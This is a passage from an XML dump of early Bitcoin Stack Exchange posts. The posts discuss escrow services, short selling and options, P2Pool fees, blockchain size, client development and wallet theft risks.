LastEditorUserId="5406" LastEditDate="2016-01-22T16:34:20.023" LastActivityDate="2016-01-22T16:34:20.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="239" PostTypeId="2" ParentId="237" CreationDate="2011-08-31T05:33:01.543" Score="0" Body="&lt;p&gt;It was meant to be used as a semi-anonymous currency.  Some people are using it as that, but a lot of people are using it as a store of value.&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-31T05:33:01.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="240" PostTypeId="2" ParentId="228" CreationDate="2011-08-31T05:34:53.007" Score="2" Body="&lt;p&gt;The easiest thing to do is to try and start using it, and tell others about your experience.  The more people that know about bitcoin and are out there trying it.... the better off bitcoin will be.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2011-09-19T21:32:49.370" LastActivityDate="2011-09-19T21:32:49.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="241" PostTypeId="1" CreationDate="2011-08-31T05:36:40.123" Score="20" ViewCount="8725" Body="&lt;p&gt;For some transaction, the possibility of generating &quot;chargebacks&quot; might be very useful. For example, when trust cannot be established between both parties. In such cases, a trusted third party may be very helpful. One very well known and reputable Bitcoin escrow service was ClearCoin - however, that's currently not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please list one service per answer (not multiple services in the same answer) so that the votes can decide on reliability (use comments for testimonies, if there are any ;-) ).&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2015-08-27T12:01:58.323" Title="Which Bitcoin escrow services are available - and reliable?" Tags="|chargeback|escrow|trust|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="242" PostTypeId="1" AcceptedAnswerId="267" CreationDate="2011-08-31T05:49:07.630" Score="29" ViewCount="12891" Body="&lt;p&gt;Borrowing an asset and &lt;a href=&quot;http://en.wikipedia.org/wiki/Short_%28finance%29&quot;&gt;&quot;selling it short&quot;&lt;/a&gt; facilitates finding the appropriate price for the asset, allowing people to bet that the asset is overpriced (e.g. in a &quot;bubble&quot;).  Can bitcoins be sold short?  Where and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Update&lt;/em&gt; (from Serith's answer): how about &lt;a href=&quot;http://en.wikipedia.org/wiki/Put_option&quot;&gt;put options&lt;/a&gt;, which are similar?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="99" LastEditDate="2011-08-31T13:27:52.510" LastActivityDate="2018-08-31T19:49:24.623" Title="Can bitcoins be &quot;sold short&quot;?  Or are there &quot;put&quot; options?" Tags="|exchanges|options|" AnswerCount="10" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="243" PostTypeId="2" ParentId="241" CreationDate="2011-08-31T05:59:08.593" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://BTCrow.com&quot;&gt;BTCrow.com&lt;/a&gt;, operator made quite a few posts about the service, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=21544.0&quot;&gt;Bitcoin Escrow Service - For safer bitcoin transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-08-31T06:04:43.560" LastActivityDate="2011-08-31T06:04:43.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="244" PostTypeId="2" ParentId="176" CreationDate="2011-08-31T06:19:41.400" Score="5" Body="&lt;p&gt;Mike Hearn - Google engineer and &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot;&gt;BitCoinJ&lt;/a&gt; developer, created a quick reference guide to some of the communities top contributors, based on publicly available information, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=8954.0&quot;&gt;Real Names&lt;/a&gt;, to make Bitcoin come across as a more professional, trustworthy project.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="78" LastEditDate="2011-09-07T03:37:54.547" LastActivityDate="2011-09-07T03:37:54.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="245" PostTypeId="2" ParentId="242" CreationDate="2011-08-31T06:29:58.543" Score="1" Body="&lt;p&gt;[MtGox is shut down]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MtGox has Options &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache:1T8r8ctblE8J:https://mtgox.com/%20%22options%22%20site:mtgox.com&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=us&amp;amp;source=www.google.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;listed&lt;/a&gt; as Coming Soon, that might be a &lt;a href=&quot;http://www.investopedia.com/ask/answers/05/shortvsput.asp#axzz1WaKqRwrG&quot; rel=&quot;nofollow noreferrer&quot;&gt;substitute&lt;/a&gt; for short.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="13440" LastEditDate="2018-08-31T19:46:23.127" LastActivityDate="2018-08-31T19:46:23.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="246" PostTypeId="2" ParentId="122" CreationDate="2011-08-31T06:46:39.360" Score="0" Body="&lt;p&gt;I don't think there will ever be a necessity to build support for smaller denominations into the actual Bitcoin code base. When the network caps out, Satoshis will most likely still represent a fraction of a cent or possibly up to a cent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, just like there are institutions you can go to with fiat money to make microtransactions, there will be such places for exchange when it comes to Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="110" LastActivityDate="2011-08-31T06:46:39.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="247" PostTypeId="2" ParentId="242" CreationDate="2011-08-31T06:54:09.303" Score="6" Body="&lt;p&gt;Looks like CampBX will have it coming as well, see their &lt;a href=&quot;https://campbx.com/faq.php&quot; rel=&quot;nofollow&quot;&gt;FAQ for more info.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2011-08-31T06:54:09.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="248" PostTypeId="2" ParentId="215" CreationDate="2011-08-31T06:59:45.510" Score="7" Body="&lt;p&gt;The most up-to-date list is the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1958.0&quot;&gt;Bitcoin press hits&lt;/a&gt; thread. However, if you want a shorter list with more quality content, I recommend &lt;a href=&quot;https://en.bitcoin.it/wiki/Press&quot;&gt;Press&lt;/a&gt; page on wiki.&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-08-31T06:59:45.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="249" PostTypeId="1" AcceptedAnswerId="287" CreationDate="2011-08-31T07:03:08.247" Score="8" ViewCount="499" Body="&lt;p&gt;MtGox &lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache:1T8r8ctblE8J%3ahttps://mtgox.com/%20options%20site%3amtgox.com&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=us&amp;amp;source=www.google.com&quot;&gt;plans&lt;/a&gt; to introduce &lt;a href=&quot;http://en.wikipedia.org/wiki/Option_%28finance%29&quot;&gt;Options&lt;/a&gt;, would Bitcoin price become more stable or it would just hedge risks?&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="85" LastEditDate="2011-09-04T17:45:16.427" LastActivityDate="2011-09-04T17:45:16.427" Title="How are MtGox options going to affect Bitcoin price volatility?" Tags="|bitcoin-economy|exchanges|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="250" PostTypeId="2" ParentId="228" CreationDate="2011-08-31T08:08:41.573" Score="7" Body="&lt;p&gt;&lt;strong&gt;Developers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Join one of the many bitcoin library projects on Google Code or Github:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://multibit.org&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt; A Java based front end client &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;BitCoinJ&lt;/a&gt; A Java based support library to make developing Bitcoin based applications much easier&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinsharp/&quot; rel=&quot;nofollow&quot;&gt;BitCoinSharp&lt;/a&gt; A C# based support library (sister project to BitCoinJ)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Marketers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spread the word about Bitcoin to others. Download a copy of one of the many wallet applications to your phone and demonstrate using it to buy something from someone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speculators&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spend some of your coins to encourage merchants to adopt Bitcoin. Goods and services will be encouraged by demand. So buy stuff you need on a daily basis using bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2011-09-03T08:44:40.500" LastActivityDate="2011-09-03T08:44:40.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="251" PostTypeId="5" CreationDate="2011-08-31T08:14:51.437" Score="0" Body="&lt;p&gt;Clients connect to the Bitcoin network in some way. Typically clients connect using the Peer-to-Peer Bitcoin protocol. Such clients can either be full nodes or SPV wallets. Full nodes will fully validate every transaction and block that they receive and then relay the valid ones to its peers. A full node does not necessarily need to be a wallet. SPV wallets will only receive blocks and transactions that pertain to the wallet. They can only partially validate transactions and blocks as they lack the full blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other clients may interact with the Bitcoin network via a connection to another client connected to the Bitcoin network. For example, a software could interact with a Bitcoin Core node via the JSON-RPC interface. From there it can receive blocks and transactions and parse that data.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="48884" LastEditDate="2017-10-20T02:13:20.003" LastActivityDate="2017-10-20T02:13:20.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="252" PostTypeId="4" CreationDate="2011-08-31T08:14:51.437" Score="0" Body="A client is any application which allows a user to connect to the Bitcoin (or alternate) network. Alternately, &quot;client&quot; may refer to a non-standard user interface which interacts with the Bitcoin network through a standard client." OwnerUserId="22" LastEditorUserId="13866" LastEditDate="2023-05-11T13:47:33.590" LastActivityDate="2023-05-11T13:47:33.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="253" PostTypeId="1" AcceptedAnswerId="2864" CreationDate="2011-08-31T08:20:01.333" Score="17" ViewCount="4341" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot;&gt;P2Pool&lt;/a&gt; is an open source peer to peer mining pool. It currently charges a fee of 0.5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to just fork P2Pool protocol and eliminate the fee? Has this been done? If so, how can P2Pool still retain users when a cheaper alternative remains? If this hasn't been done yet, why not?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T15:30:01.457" LastActivityDate="2016-01-21T15:30:01.457" Title="How can P2Pool charge a fee?" Tags="|mining-pools|p2pool|pool-payout-methods|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="254" PostTypeId="1" AcceptedAnswerId="291" CreationDate="2011-08-31T08:20:57.963" Score="9" ViewCount="670" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow noreferrer&quot;&gt;P2Pool&lt;/a&gt; is a peer to peer mining pool, offering some advantages over centralized pools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no central node to take down (assuming the pool is indeed fully decentralized). Pools have suffered from DDOS attacks in the past.&lt;/li&gt;&#xA;&lt;li&gt;An open source P2P pool should &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/253/how-can-p2pool-charge-a-fee&quot;&gt;theoretically be able to operate with zero fees&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I find out how many people are using P2Pool?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-21T15:30:41.420" Title="How do I find the hash &quot;market share&quot; of P2Pool?" Tags="|mining-pools|p2pool|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="255" PostTypeId="2" ParentId="216" CreationDate="2011-08-31T08:24:01.797" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes, and they are more dangerous than they first appear&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the situation that a wallet stealing tojan infiltrates your computer/smartphone. All it has to do is make a copy of your wallet.dat file (or equivalent) and send that copy back to base. It can then safely delete itself since it has completed it's mission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now comes the dangerous part. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the course of time confidence in Bitcoin grows and you make the fatal error of not securing your wallet and start to keep larger and larger sums of Bitcoins in it. Years may pass. Eventually, the person who now has a duplicate of your wallet (a black market in trading these duplicates may arise) may decide to cash out. All you see is that a very large anonymous transfer suddenly occurs out of your wallet and into theirs. You'll be completely powerless to prevent or recover these losses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, make a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/28/how-can-i-keep-my-wallet-secure&quot;&gt;secure wallet&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-08-31T08:24:01.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="256" PostTypeId="1" AcceptedAnswerId="276" CreationDate="2011-08-31T08:24:43.340" Score="35" ViewCount="2741" Body="&lt;p&gt;Let's say that a country decided to ditch their currency and go for Bitcoins. What would this country have to reinvent. The reason why I ask, is because I believe that if a tiny country was to adopt Bitcoins as their official currency, then this would remove all legal issues related to this currency, and hence would enable it to get adopted more widely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the issues that could require reinventing something could be in relation to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Transparency requirements for the government to efficiently tackle&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Black economy&lt;/li&gt;&#xA;&lt;li&gt;VAT and general taxation fraud&lt;/li&gt;&#xA;&lt;li&gt;Financing of terrorism&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ability to peg the currency to other currencies if this is judged as a good idea&lt;/li&gt;&#xA;&lt;li&gt;Have an efficient banking system&lt;/li&gt;&#xA;&lt;li&gt;Ability to fight deflation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any other issues, which I have not thought about. Please note that you do not have to answer all these issues in any one answer, just one of them. &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="117" LastEditDate="2011-12-19T15:24:58.720" LastActivityDate="2016-02-15T22:10:05.693" Title="What would a country adopting Bitcoins as official currency have to reinvent?" Tags="|banks|finance|government|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="257" PostTypeId="1" AcceptedAnswerId="272" CreationDate="2011-08-31T08:26:59.827" Score="5" ViewCount="407" Body="&lt;p&gt;Most people trading in foreign currencies are not technical, and will not learn how to operate the &quot;technical jungle&quot; that is Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known plans to expose Bitcoin to Forex while staying in their comfort zone - e.g. any existing foreign exchanges that plan to support Bitcoin (instead of forcing them to go to websites specializing in Bitcoin?)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-09-01T01:05:20.090" Title="Are there immediate plans to make Bitcoin more accessible to Forex traders?" Tags="|trading|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="258" PostTypeId="1" AcceptedAnswerId="261" CreationDate="2011-08-31T08:29:10.430" Score="4" ViewCount="495" Body="&lt;p&gt;Wallet encryption is long overdue, and AFAIK is coming in the next client version (0.4.0). What are the next planned milestones in the development of the main client and/or protocol? Where can I find information about that?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="132" LastEditDate="2011-09-12T13:53:39.907" LastActivityDate="2011-09-12T13:53:39.907" Title="Where can I find a roadmap of the main bitcoin client?" Tags="|client|development|" AnswerCount="2" CommentCount="3" ClosedDate="2011-09-13T01:17:12.177" ContentLicense="CC BY-SA 3.0" />
  <row Id="260" PostTypeId="2" ParentId="258" CreationDate="2011-08-31T08:51:13.983" Score="6" Body="&lt;p&gt;You can read the &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=CAJ1JLtu7UXz2X25iWLKUUmK=oapj8OzGRH964JY=Ppzd8rOfTg@mail.gmail.com&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;Roadmap&lt;/a&gt; and the &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=1314666543.5889.2.camel@BMThinkPad.lan.bluematt.me&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;status&lt;/a&gt; before v0.4 release&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They discuss the development at&#xA;&lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/mailarchive/forum.php?forum_name=bitcoin-development&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="54" LastActivityDate="2011-08-31T08:51:13.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="261" PostTypeId="2" ParentId="258" CreationDate="2011-08-31T08:52:19.767" Score="5" Body="&lt;p&gt;Currently, they are working on:&#xA; - wallet encryption&#xA; - private key import/export&#xA; - test suite for testing bitcoin clients/libraries&#xA; - m-of-n signature &quot;standard transaction&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=1314666543.5889.2.camel@BMThinkPad.lan.bluematt.me&amp;amp;forum_name=bitcoin-development&quot; rel=&quot;nofollow&quot;&gt;mailing list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23" LastActivityDate="2011-08-31T08:52:19.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="262" PostTypeId="1" CreationDate="2011-08-31T08:57:00.480" Score="16" ViewCount="3020" Body="&lt;p&gt;How can I view the current size, preferably in bytes, of the blockchain? Is there a CLI command for bitcoind? Or a website that displays the size?&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2011-08-31T09:43:23.697" LastActivityDate="2023-05-01T07:48:00.497" Title="How can I view the current blockchain size?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="263" PostTypeId="2" ParentId="262" CreationDate="2011-08-31T09:07:27.730" Score="6" Body="&lt;p&gt;If you have the bitcoin client running in server mode, you can pass it the &lt;code&gt;getblockchaininfo&lt;/code&gt; command. This is the current output:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-json prettyprint-override&quot;&gt;&lt;code&gt;{&#xA;  &amp;quot;chain&amp;quot;: &amp;quot;main&amp;quot;,&#xA;  &amp;quot;blocks&amp;quot;: 525329,&#xA;  &amp;quot;headers&amp;quot;: 525329,&#xA;  &amp;quot;bestblockhash&amp;quot;: &amp;quot;000000000000000000192cf4d557fb2265855713b0fd208a6490bca81137bce4&amp;quot;,&#xA;  &amp;quot;difficulty&amp;quot;: 4306949573981.513,&#xA;  &amp;quot;mediantime&amp;quot;: 1527792344,&#xA;  &amp;quot;verificationprogress&amp;quot;: 0.9999976722383654,&#xA;  &amp;quot;chainwork&amp;quot;: &amp;quot;000000000000000000000000000000000000000001e6cf0d64537cc800fc54f8&amp;quot;,&#xA;  &amp;quot;pruned&amp;quot;: false,&#xA;  &amp;quot;softforks&amp;quot;: [&#xA;    {&#xA;      &amp;quot;id&amp;quot;: &amp;quot;bip34&amp;quot;,&#xA;      &amp;quot;version&amp;quot;: 2,&#xA;      &amp;quot;reject&amp;quot;: {&#xA;        &amp;quot;status&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;id&amp;quot;: &amp;quot;bip66&amp;quot;,&#xA;      &amp;quot;version&amp;quot;: 3,&#xA;      &amp;quot;reject&amp;quot;: {&#xA;        &amp;quot;status&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;id&amp;quot;: &amp;quot;bip65&amp;quot;,&#xA;      &amp;quot;version&amp;quot;: 4,&#xA;      &amp;quot;reject&amp;quot;: {&#xA;        &amp;quot;status&amp;quot;: true&#xA;      }&#xA;    }&#xA;  ],&#xA;  &amp;quot;bip9_softforks&amp;quot;: {&#xA;    &amp;quot;csv&amp;quot;: {&#xA;      &amp;quot;status&amp;quot;: &amp;quot;active&amp;quot;,&#xA;      &amp;quot;startTime&amp;quot;: 1462060800,&#xA;      &amp;quot;timeout&amp;quot;: 1493596800,&#xA;      &amp;quot;since&amp;quot;: 419328&#xA;    },&#xA;    &amp;quot;segwit&amp;quot;: {&#xA;      &amp;quot;status&amp;quot;: &amp;quot;active&amp;quot;,&#xA;      &amp;quot;startTime&amp;quot;: 1479168000,&#xA;      &amp;quot;timeout&amp;quot;: 1510704000,&#xA;      &amp;quot;since&amp;quot;: 481824&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;blocks&lt;/code&gt; field is the current number of blocks in the block chain. You can also get this information from &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlockExplorer&lt;/a&gt; or use the &lt;a href=&quot;http://blockexplorer.com/q/getblockcount&quot; rel=&quot;nofollow noreferrer&quot;&gt;Direct Link&lt;/a&gt; to the block count.&lt;/p&gt;&#xA;&lt;p&gt;If you want the size in bytes, look at the size of your &lt;code&gt;blk0001.dat&lt;/code&gt; file, currently 528Mb.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="123594" LastEditDate="2023-05-01T07:48:00.497" LastActivityDate="2023-05-01T07:48:00.497" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="264" PostTypeId="1" AcceptedAnswerId="296" CreationDate="2011-08-31T09:25:25.923" Score="3" ViewCount="569" Body="&lt;p&gt;&lt;a href=&quot;https://bitoption.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitOption&lt;/a&gt; was one of the first sites that traded Bitcoin Options. I was going to put it up as an answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/242/can-bitcoins-be-sold-short&quot;&gt;this question&lt;/a&gt;, but then noticed that I'm getting a 502 Bad Gateway error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know what happened to them?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-02-16T09:04:43.060" Title="What happened to Bitoption.org?" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="265" PostTypeId="1" CreationDate="2011-08-31T09:29:08.643" Score="2" ViewCount="408" Body="&lt;p&gt;I'm a programmer and would like to support the development of Bitcoin, but I don't have an original idea for a new project. Where can I find information about tasks and issues that I could put some effort into?&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="5406" LastEditDate="2014-05-25T21:58:04.457" LastActivityDate="2014-05-25T22:04:41.297" Title="How can a programmer contribute to the Bitcoin project?" Tags="|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="266" PostTypeId="2" ParentId="122" CreationDate="2011-08-31T09:31:43.450" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Will there &lt;em&gt;ever&lt;/em&gt; be a need to create a unit of Bitcoin smaller than a Satoshi?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Actually, the correct answer is depended on meaning of &quot;&lt;em&gt;ever&lt;/em&gt;&quot; in your question. If you are trying to look far away (e.g. more then one century), the answer &lt;em&gt;can&lt;/em&gt; be &quot;Yes, there will.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It &lt;em&gt;can&lt;/em&gt; in case Bitcoin would spread as widely as seen by bitcoin evangelists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping in mind all known mankind history and the idea of bitcoin as &quot;digital gold&quot;, we can notice that value of gold is raised constantly. This is a result of simple process: amount of goods and services that people can pay for increased quicker then amount of gold.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2011-08-31T09:31:43.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="267" PostTypeId="2" ParentId="242" CreationDate="2011-08-31T10:07:52.920" Score="18" Body="&lt;p&gt;Not only will Bitcoins soon be able to be sold short through several exchanges, but once that service is available, Bitcoin banks that pay interest will be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin bank could pay interest on Bitcoin deposits by converting the Bitcoins into the least inflationary national currency available, investing those funds in loans or businesses, and using the profits to buy back more Bitcoins later to pay back depositors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this plan has one flaw -- what if the price of Bitcoins goes way up, beyond the interest you can collect. You would then take a loss when you purchased back Bitcoins to pay back your depositors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, you would offset this risk by holding Bitcoins. But that would defeat the entire point of investing them. So you need some way to make money and risk money as if you were holding Bitcoins without actually holding any bitcoins. How can you do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the answer is, you offset the risk that Bitcoins will go up in value by &lt;em&gt;selling&lt;/em&gt; shorts. Selling shorts is like holding Bitcoins without having to actually hold them, allowing you to make money if they go up and lose money if they go down just like someone holding Bitcoins would. If Bitcoins go down, you lose on the shorts but make it up by making extra profits when you buy back Bitcoins to pay depositors. If Bitcoins go up, you lose when you buy back Bitcoins, but make it up on the shorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the right combination of shorts, currencies, and investments, this should make the risk associated with interest-bearing bank accounts denominated in Bitcoins no greater than the risk with other currencies. (And if you sell the shorts directly to investors, you can make a profit on them as well, taking the commissions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is entirely possible that this is part of the reason the exchanges are considering selling shorts. Not only would they pocket the commissions, but they could safely convert a fraction of the many, many Bitcoins they're holding into interest-bearing accounts denominated in national currencies, pocketing the interest.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T11:18:17.707" LastActivityDate="2011-08-31T11:18:17.707" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="268" PostTypeId="2" ParentId="176" CreationDate="2011-08-31T10:11:13.697" Score="6" Body="&lt;p&gt;There is a incomplete list in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Developers&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, the list of people who &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_client_developers&quot; rel=&quot;nofollow&quot;&gt;have push access&lt;/a&gt; to the GitHub repository is not public viewable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Core developers are &lt;a href=&quot;https://bitcoin.org/en/development&quot; rel=&quot;nofollow&quot;&gt;listed on Bitcoin.org&lt;/a&gt; in terms of number of commits.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="4334" LastEditDate="2016-03-05T12:06:33.473" LastActivityDate="2016-03-05T12:06:33.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="269" PostTypeId="2" ParentId="253" CreationDate="2011-08-31T10:16:48.383" Score="4" Body="&lt;p&gt;You may split the project and create your own distributed pool, but you choose to reap no rewards from doing so (the first 0.5% fee), and without a bonus to the block finder (the other 0.5% fee). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool combines both fair share rewards and a finder's bonus to compete against other pools. The initiator has so far earned 0.75 BTC for his development and promotion efforts. If you feel this is too much for a system that eliminates centralized downtime (connectivity and stale issues) and centralized trust (delayed payments, locked funds) you should not use this pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An added benefit of p2pool is that all addresses receive funds from the generation transaction directly to their public key. This means until you spend those funds your funds are completely anonymous and untraceable.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-08-31T10:16:48.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="270" PostTypeId="2" ParentId="237" CreationDate="2011-08-31T10:29:13.573" Score="12" Body="&lt;p&gt;Today, it primarily serves as a store of value. It is inherently more useful as a medium of exchange, its intended purpose. Perhaps a bit ironically, its expected future usefulness as a medium of exchange is what is driving its present usefulness as a store of value. The thinking is that if you get them now when they're cheap, in the future when they're used as a medium of exchange (and thus there's much more demand) they'll be worth more.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T11:08:05.680" LastActivityDate="2011-08-31T11:08:05.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
